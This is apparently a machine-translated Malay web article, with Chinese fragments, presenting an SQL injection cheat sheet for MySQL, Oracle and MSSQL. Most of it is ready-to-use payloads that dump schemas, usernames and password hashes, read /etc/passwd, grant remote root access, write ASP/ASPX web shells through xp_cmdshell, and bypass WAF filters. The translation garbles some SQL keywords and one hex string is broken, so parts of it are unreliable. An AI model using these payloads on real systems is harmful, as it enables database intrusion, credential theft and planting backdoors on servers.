Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Apakah jenis suntikan SQL?

Apakah jenis suntikan SQL?

WBOY
WBOYke hadapan
2023-05-18 22:05:122018semak imbas

Kata Pengantar

Kaedah serangan suntikan SQL boleh dibahagikan kepada suntikan eksplisit, suntikan ralat dan suntikan buta mengikut aplikasi memproses kandungan yang dikembalikan oleh pangkalan data.

Suntikan eksplisit

Penyerang boleh terus mendapatkan kandungan yang diingini dalam kandungan antara muka semasa.

Ralat suntikan

Hasil pulangan pertanyaan pangkalan data tidak dipaparkan pada halaman, tetapi aplikasi mencetak maklumat ralat pangkalan data ke halaman, jadi penyerang boleh membina Pernyataan ralat pangkalan data untuk mendapatkan kandungan yang dikehendaki daripada mesej ralat.

Suntikan Buta

Hasil pertanyaan pangkalan data tidak boleh diperoleh daripada halaman intuitif Penyerang boleh mendapatkan apa yang mereka mahu dengan menggunakan logik pangkalan data atau melambatkan pelaksanaan perpustakaan pangkalan data. kandungan.

Mysql manual injection

lian injection

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

error injection

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));

5 . multipoint()

select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));

6.polygon()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));

7.multipolygon()

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));

8.linestring()

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));

9.multilinestring ( )

select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));

10.exp()

select \* from test where id=1 and exp(\~(select \* from(select user())a));

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注

Suntikan buta masa

Tidur fungsi biasa()

Split function substr , subrentetan, kiri

boleh dikodkan tanpa tanda petikan Ascii() hex()

Secara amnya, untuk suntikan buta, kita juga perlu menggunakan fungsi pertimbangan bersyarat

jika. (expre1 , expre2, expre3)

Apabila expre1 adalah benar, kembalikan expre2, apabila palsu, kembalikan expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

Suntikan buta Boolean

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update

Ini kind Injection akan muncul dalam pendaftaran, pengepala IP, papan mesej, dll. di mana data perlu ditulis Contohnya, menggunakan sqlmap akan menghasilkan sejumlah besar data sampah

Cuba untuk memasukkan, tanda petikan, petikan berganda. , dan aksara melarikan diri akan membuat pernyataan tidak normal, kemudian jika sisipan gagal, kemas kini gagal, dan kemudian ujian mendalam menentukan sama ada terdapat suntikan
Suntikan sekunder dan suntikan bait lebar

Suntikan sekunder:

Dalam pernyataan sql tanpa petikan tunggal, lakukan pengekodan heksadesimal supaya tiada petikan tunggal

suntikan bait lebar:

Petikan tunggal terlepas sebagai ' , mysql akan mengekodkannya sebagai %5c Dua bait dalam bait lebar mewakili aksara Cina, jadi menambah %df kepada %5c mengubahnya menjadi aksara Cina "luck", dengan itu memintas. melarikan diri
Suntikan Manual Oracle
Suntikan Lian

?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)--

?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--

Suntikan Ralat

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

Suntikan Buta Boolean

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64--

Suntikan buta masa

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

Suntikan manual SQLTentukan sama ada titik suntikan wujud

Jenis Nombor

dan kemudian masukkan

dan 1=1

dan 1=2

jika pulangan berbeza, anda boleh menentukan kewujudan titik suntikan

Contoh:

http://www.xxx.cn/news.php?p=1&id=4' Ralat pengembalian

http://www.xxx.cn/news.php?p=1&id=4 dan 1=1 kembali dengan betul

http://www.xxx.cn/news.php?p =1&id=4 dan 1=2 mengembalikan ralat

Suntikan aksara

url dan kemudian masukkan

' dan 1=1 dan '1'= '1

' dan 1= 2 dan '1'='1

http://www.xxx.cn/news.php?p=1&id=4' mengembalikan ralat

http://www.xxx.cn/news.php?p=1&id=4' dan 1=1 dan '1'='1 kembali dengan betul

http://www.xxx. .cn/news.php?p=1&id=4 ' dan 1=2 dan '1'='1 Ralat pengembalian

Suntikan carian

Masukkan

' dalam kotak input Ralat kembali

x%' dan 1=1 dan '%'=' mengembalikan betul

x%' dan 1=2 dan '%'=' mengembalikan ralat

Nilai bilangan medan

Jenis nombor

http://www.xxx.cn/news.php?p=1&id=4 pesanan sebanyak 26 pengembalian betul

http://www.xxx.cn/ news.php?p=1&id=4 pesanan sebanyak 27 mengembalikan ralat

Kesimpulan: medan nombor 26.

Jenis aksara

http://www.xxx.cn/news.php?p=1&id=4' pesanan sebelum 26 # Kembalikan betul

http:// www.xxx.cn/news.php?p=1&id=4' pesanan sebelum 27 # Kembalikan ralat

Kesimpulan: medan nombor 26.

Jenis carian

x%' tertib sebelum 26 # Kembalikan betul

x%' pesanan sebelum 27 # Kembali ralat

Kesimpulan: Bilangan medan 26 .

Mencari medan yang boleh dipaparkan

Jenis angka

http://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,2, 3,4,5,6,7,8,9,....

Jenis aksara

http://www.xxx.cn/news.php?p=1&id= 4' dan 1=2 kesatuan pilih 1,2,3,4,5,6,7,8,9,.... #

Jenis carian

x%' dan 1 =2 kesatuan pilih 1,2,3,4,5,6,7,8,9,.... #

Semak nama pangkalan data


Jenis angka

http://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,2,pangkalan data(),4,5,6,7,8,9,.. ..

Jenis aksara

http://www.xxx.cn/news.php?p=1&id=4' dan 1=2 kesatuan pilih 1,2,pangkalan data(), 4,5,6,7,8,9,.... #

Jenis carian

x%' dan 1=2 kesatuan pilih 1,2,pangkalan data(),4, 5,6,7,8,9,.... #

Semak nama jadual dalam pangkalan data


Jenis angka

http://www .xxx .cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,kumpulan_concat(nama_jadual),3,4,5,6,7,8,9,10,11,12,13,14 ,15 ,16,17 daripada information_schema.tables di mana table_schema='nama pangkalan data'

Nama pangkalan data juga boleh menggunakan heksadesimal

aksara

http://www.xxx.cn/news.php?p=1&id=4' dan 1=2 kesatuan pilih 1 ,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='database name' #

Nama pangkalan data juga boleh menggunakan perenambelasan

Jenis carian

X%' dan 1=2 kesatuan pilih 1,2,kumpulan_concat(nama_jadual),4,5 ,6,7, 8,9,.... from information_schema.tables where table_schema='database name' #

Nama pangkalan data juga boleh menggunakan heksadesimal
dalam jadual carian Nama lajur

Nombor

http://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,kumpulan_concat(nama_lajur) ,3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17 daripada information_schema.columns di mana table_name='table name'

nama jadual juga Anda boleh menggunakan heksadesimal

jenis aksara

http://www.xxx.cn/news.php?p=1&id=4' dan 1=2 kesatuan pilih 1,kumpulan_concat(nama_lajur),3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17 daripada information_schema.columns where table_name='table name' #

Nama jadual juga boleh menggunakan heksadesimal

jenis carian

x%' dan 1=2 kesatuan pilih 1,2,kumpulan_concat(nama_lajur),4,5,6,7,8 ,9,.... daripada information_schema.columns di mana table_name='table name' #

Nama jadual juga boleh menggunakan heksadesimal
Cari data dalam jadual

Nombor

http ://www.xxx.cn/news.php?p=1&id=4 dan 1=2 kesatuan pilih 1,group_concat(nama pengguna,kata laluan),3,4, 5,6,7,8,9,10,11 ,12,13,14,15,16,17 daripada nama jadual

Jenis aksara

http://www.xxx.php?p=1&id=4' dan 1=2 kesatuan pilih 1,group_concat(nama pengguna,kata laluan),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17 daripada nama jadual#

jenis carian

x%' dan 1=2 kesatuan pilih 1,2,group_concat(nama pengguna,kata laluan),4,5,6, 7,8,9,.... daripada nama jadual #

Versi paparan: pilih versi();

Paparkan set aksara: pilih @@character_set_database;

Paparan Pangkalan Data menunjukkan pangkalan data;

Paparkan nama jadual : tunjukkan jadual;

Paparkan nama komputer: pilih @@nama hos;

Paparkan versi sistem: pilih @@version_compile_os;

Tunjukkan laluan mysql: pilih @@basedir;

Tunjukkan laluan pangkalan data: pilih @@datadir;

Tunjukkan kata laluan akar: pilih Pengguna,Kata Laluan daripada mysql.user;

Buka sambungan luaran: BERIKAN SEMUA KEISTIMEWAAN KEPADA '. root'@'%' DIKENALPASTI OLEH '123456' DENGAN PILIHAN GERAN;
Penggunaan fungsi MySQL

MySQL menyediakan fungsi load_file(), yang boleh membantu Pengguna boleh membaca fail dengan cepat, tetapi lokasi fail mestilah pada pelayan, laluan fail mestilah laluan mutlak, dan kebenaran root diperlukan

Pernyataan SQL adalah seperti berikut: union select 1,load_file('/etc/passwd'),3 ,4,5 #

Biasanya, sesetengah pernyataan anti-suntikan tidak membenarkan berlakunya petikan tunggal, jadi anda boleh menggunakan pernyataan berikut untuk memintas:

union select 1,load_file(0x272F6574632F70617373776427),3, 4 ,5 #

Tukar laluan kepada perenambelasan.
MSSQL Manual Injection

Perbezaan daripada SQL injection ialah SQL menggunakan medan yang dipaparkan dan MSSQL menggunakan suntikan ralat untuk memasukkan pernyataan sql yang berniat jahat untuk membuat laporan pertanyaan ralat ralat yang dilaporkan, paparkan maklumat yang kita inginkan.

Titik suntikan:

www.xxx.cn/xxx/xxx.aspx?id=1
Versi pangkalan data pertanyaan

@@ versi: Pembolehubah global MSSQL, menunjukkan maklumat versi pangkalan data.

Pernyataan ujian:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan @@version>0

Nota: "dan @@vsersion>0" juga boleh ditulis sebagai "dan 0/@@version>0"

Mesej ralat:

Selepas menukar nilai nvarchar kepada 'Microsoft SQL Server 2008 R2 (SP3 ) - 10.50. 6000.34 (X64) 19 Ogos 2014 12:21:34 Hak Cipta (c) Microsoft Corporation Enterprise Edition (64-bit) pada Windows NT 6.1

Sebab:

@@version ialah pembolehubah global MSSQL Jika kita menambah "dan @@version>0" selepas "?id=1", maka "dan" akan Pernyataan itu akan memaksa "@@version" ditukar kepada jenis int dan dibandingkan dengan 0, tetapi penukaran jenis gagal, jadi maklumat pangkalan data terdedah.
Soal nama komputer

@@nama pelayan: Pembolehubah global MSSQL, mewakili nama komputer.

Mesej ralat:

Gagal menukar nilai nvarchar 'WINDOWS-XXXXXX' kepada int jenis data.
Soal nama pangkalan data semasa

db_name(): Nama pangkalan data yang sedang digunakan.

Mesej ralat:

Gagal menukar nilai nvarchar ‘abc’ kepada int jenis data.
Soal pengguna yang sedang disambungkan ke pangkalan data

Nama_Pengguna(): Pengguna yang sedang disambungkan ke pangkalan data.

Mesej ralat:

Gagal menukar nilai nvarchar 'dbo' kepada int jenis data.

Nota: Jika anda melihat dbo, maka kebanyakan pengguna pangkalan data semasa mempunyai kuasa dba.
Pertanyakan nama pangkalan data lain

Letup pangkalan data lain:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan ( PILIH Nama 1 teratas DARI Master..SysDatabases)>0

Mesej ralat:

Gagal semasa menukar nilai nvarchar 'master' kepada int jenis data.

Pangkalan data lain menulis ini:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (PILIH 1 Nama teratas DARI Master.. SysDatabases di mana nama tidak dalam ('master'))>0

Jika anda ingin meneruskan, tulis seperti ini:

http://www.xxx.cn/xxx/xxx.aspx?id= 1 dan (PILIH Nama 1 teratas DARI Master..SysDatabases di mana nama tiada dalam ('master','abc'))>0
Soal nama jadual dalam pangkalan data

Cari nama jadual:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana type= 'U' AND is_ms_shipped=0)>0

Mesej ralat:

Gagal menukar nilai nvarchar 'berlepas' kepada jenis data int.

Jadual lain:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana taip =' U' AND is_ms_shipped=0 and name not in ('depart'))>0

Teruskan:

http://www.xxx.cn/xxx/xxx =1 dan (pilih nama 1 teratas daripada abc.sys.all_objects di mana type='U' AND is_ms_shipped=0 dan nama tiada dalam ('berlepas','pekerja'))>0
jadual pertanyaan Nama lajur atau nama medan

Semak nama medan:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan ( pilih atas 1 COLUMN_NAME dari abc.information_schema.columns tempat TABLE_NAME='depart')>0

Mesej ralat:

Gagal menukar nilai nvarchar 'ID' kepada int jenis data.

Teroka medan lain:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih 1 COLUMN_NAME teratas daripada abc . information_schema.columns di mana TABLE_NAME='depart' dan COLUMN_NAME tiada dalam ('ID'))>0

Teruskan:

http://www.xxx.cn/xxx/ xxx. aspx?id=1 dan (pilih 1 teratas COLUMN_NAME daripada abc.information_schema.columns di mana TABLE_NAME='depart' dan COLUMN_NAME tiada dalam ('ID','NAME'))>0
Data letupan

Data pertanyaan:

http://www.xxx.cn/xxx/xxx.aspx?id=1 dan (pilih 1 kata laluan teratas dari berlepas)>0

Mesej ralat:

Gagal menukar nilai nvarchar 'B5A1EF8730200F93E50F4F5DEBBCAC0B' kepada int jenis data.
Tulis ayat Trojan

Jika kebenaran data adalah dba dan mengetahui laluan mutlak tapak web, maka kita boleh menggunakan pernyataan ini untuk menulis ayat Trojan:

asp Trojan:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %> ;; <%eval request(chr(35))%>''" > d:KfSitekaifeng2.asp'--

aspx Trojan:

http://www. xxx. cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")% > ''" >C:inetpubwwwroot2.aspx' --

Prinsipnya ialah pelayan sql menyokong pertanyaan bertindan. Anda boleh menggunakan xp_cmdshell untuk melaksanakan arahan cmd. Gunakan [echo content>file] dalam arahan cmd untuk menulis fail ke cakera.
Gunakan pengekodan hex untuk memintas WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx Gunakan "Pengekodan HEX" di bawah Pengekodan alat bar godam dalam penyemak imbas Firefox Dengan mudah mengekod rentetan ke dalam hex yang boleh dieksploitasi, dan kemudian gunakan suntikan ralat untuk menyuntiknya ke dalam tapak web.
Versi pangkalan data yang meletup

pilih tukar(int,@@version)

Selepas pengekodan heks: 0x73656c65637420636f6e76657274282696e7428696e4e76657274282696e7428696e47f76696e74f76696e 🎜>

Kemudian suntik seperti berikut: Mesej ralat:

Nilai nvarchar ialah 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 2 Apr 2010 15:48:46 Hak Cipta (c) Microsoft CorporationStandard Edition (64-bit) pada Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' Penukaran kepada jenis data int gagal.

Beri perhatian kepada pernyataan suntikan berikut:

dEcLaRe @s vArChAr(8000) //Isytiharkan pembolehubah setempat @s jenis varchar(8000)

sEt @s = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //Tetapkan nilai kepada @s, pengekodan heksadesimal bagi "select convert(int,@@>version)">Letup pangkalan data semasa

pilih tukar(int,db_name())
Letup pengguna semasa

pilih tukar( int, User_Name())
Cemerlang

pilih tukar(int,(pilih 1 nama teratas daripada abc[nama pangkalan data].sys.all_objects where type='U' AND is_ms_shipped = 0)) pilih tukar(int,(pilih nama 1 teratas daripada abc[nama pangkalan data].sys.all_objects where type='U' AND is_ms_shipped=0 dan name not in ('CMS_ArticleClass')))
Medan letupan

pilih tukar(int,(pilih 1 teratas COLUMN_NAME daripada abc[nama pangkalan data].information_schema.columns di mana TABLE_NAME='CMS_Userinfo[nama jadual]')) pilih tukar(int,(pilih 1 COLUMN_NAME teratas daripada abc[nama pangkalan data ] ].information_schema.columns di mana TABLE_NAME='CMS_Userinfo[table name]' dan COLUMN_NAME tiada dalam ('id')))
Data letupan

pilih convert(int,( pilih nama pengguna 1 teratas daripada CMS_Admin)) pilih tukar(int,(pilih kata laluan 1 teratas daripada CMS_Admin))
Petua Soal Jawab suntikan SQL

1.id-1 , jika halaman mengembalikan halaman yang betul, bermakna ada suntikan, bolehkah saya +1? (www.test.com/xsn.php?id=12+1)

Tidak, kerana tanda tambah bermaksud ruang dalam URL.

2. Adakah anda tahu berapa banyak anotasi yang terdapat dalam mysql?

Tiga jenis: ①.# Komen ini sehingga akhir baris ②./Komen berbilang baris/;

Kaedah ketiga memerlukan penjelasan kerana saya tidak biasa dengan cara penulisan ini sebelum ini. Walaupun saya masih mempunyai beberapa tanggapan '-' sebagai watak komen, '-+' membuatkan saya sakit kepala. Sebenarnya, ia adalah -, sila ambil perhatian bahawa terdapat ruang selepas -. Jika anda memasukkan ruang terus dalam URL, penyemak imbas akan mengabaikannya secara automatik dan gagal menghantarnya ke pangkalan data. Jadi saya secara khusus menggantikannya dengan tanda tambah.

3. Bolehkah "pilih pilih * daripada pentadbir" dilaksanakan? Jika tidak, sila jelaskan.

tidak boleh dilaksanakan Apabila menggunakan lapisan berganda pilih, anda mesti menyertakan yang kedua, jika tidak, ia akan menjadi tidak sah.

Jika ruang ditapis keluar, adakah anda tahu cara memintasnya? Atau adakah anda tahu aksara mana yang boleh menggantikan ruang? Aksara ini dipanggil aksara ruang putih. Sebagai contoh, un%0aion akan dianggap sebagai kesatuan. Jika ruang ditapis, pernyataan sql yang mungkin akan menjadi: pilih daripada mesej di mana uid=45or1=1, kita boleh gunakan // untuk menggantikan ruang: http://www.xxx.com/index.php?id= 45 //atau/**/1=1 Selain itu: %09 %0A %0D + //–|/ /@–|/ /?–|/ /|%20–%20|/ boleh menggantikan ruang.

5 Apakah kebenaran pangkalan data Oracle di bawah Windows? Pangkalan data Oracle di bawah Windows mesti dijalankan dengan kebenaran sistem.

6. Apakah perbezaan antara suntikan SQL dan suntikan SQL buta?

Dalam suntikan SQL biasa, aplikasi mengembalikan data dalam pangkalan data dan membentangkannya kepada anda, tetapi dalam kelemahan suntikan SQL buta, anda hanya boleh mendapatkan dua nilai berbeza yang sepadan dengan keadaan benar dan salah dalam suntikan. Sebagai tindak balas, aplikasi mengembalikan nilai yang berbeza untuk keadaan benar dan salah, tetapi penyerang tidak boleh mendapatkan semula hasil pertanyaan.

7. Apakah punca utama kelemahan suntikan SQL?

Semakan data yang dibekalkan pengguna yang tidak mencukupi oleh aplikasi web dan kegagalan untuk mengekod output adalah punca utama masalah.

8. Apakah pertanyaan bertindan?

Dalam sambungan pangkalan data tunggal, berbilang urutan pertanyaan dilaksanakan Sama ada pertanyaan bertindan dibenarkan ialah salah satu faktor penting yang mempengaruhi sama ada kelemahan suntikan SQL boleh dieksploitasi.

Dalam MYSQL, SELECT * FROM ahli DROP boleh dilaksanakan Pangkalan data pasti menyokong pertanyaan bertindan, tetapi mungkin tidak boleh membenarkan PHP melaksanakan penyataan SQL bagi pertanyaan bertindan.

/*!*/

Apakah maksudnya?

Khusus untuk pangkalan data MYSQL, jika anda menambah tanda seru pada permulaan ulasan diikuti dengan nombor versi pangkalan data, maka ulasan itu akan dihuraikan menjadi kod selagi versi pangkalan data lebih tinggi daripada atau sama dengan versi yang terkandung dalam ulasan Kod akan dilaksanakan.

pilih 1 /!40119 + 1/

Hasil pertanyaan:

Return 2 (versi MySQL ialah 4.01.19 atau lebih tinggi)

Return 1 (Situasi lain)

10 Bagaimana jika '=' dalam pernyataan suntikan ditapis?

Anda boleh mempertimbangkan untuk menggunakan penggantian kata kunci seperti: kesatuan pilih kata laluan daripada pengguna di mana nama pengguna seperti pentadbir;

11. Pertimbangkan untuk menggunakan '/**/'Ganti:

kesatuan//pilih//kata laluan//dari//pengguna//di mana//nama pengguna//like//admin;

Perhatikan bahawa jika kata kunci ditapis, dalam MySQL, anda juga boleh menggunakan ulasan sebaris di dalam kata kunci untuk memintas:

uni/ /on// sel//ect//password//fr//om//users//wh//ere//username//like//admin;

'+ dalam suntikan SQL '?

MSSQL: Dalam MSSQL, operator "+" digunakan untuk operasi penggabungan rentetan dan penambahan, '1'+'1'='11', 1+1=2; : Dalam MySQL, pengendali "+" hanya digunakan untuk operasi penambahan, '1'+'1'='2', 1+1=2;

Oracle: Dalam Oracle, operator " +". hanya digunakan untuk operasi tambah, '1'+'1'='2', 1+1=2.

13. Apakah aksara gabungan rentetan dalam pangkalan data?

MSSQL: 'a'+'b'='ab'

MYSQL: 'a' 'b'='ab'

Oracle: 'a'|| 'b'='ab'

14 Simbol ulasan

MSSQL: '--' (perhatikan ruang selepas), '/.../'

MySQL :'-- ','# ','/.../', ambil perhatian bahawa mesti ada satu atau lebih ruang selepas --.

Oracle: '-- ','/.../'

Dalam tiga pangkalan data, watak komen biasa ialah '-- '

Pintas WAF
Pintas peringkat peraturan
Pintas aksara ulasan SQL
kesatuan/**/select

union/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

Ulasan sebaris: /!xxxx /

Pintas ruang putih:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

Atas ialah kandungan terperinci Apakah jenis suntikan SQL?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam
Artikel sebelumnya:Apakah peluru lantunan semula?Artikel seterusnya:Apakah peluru lantunan semula?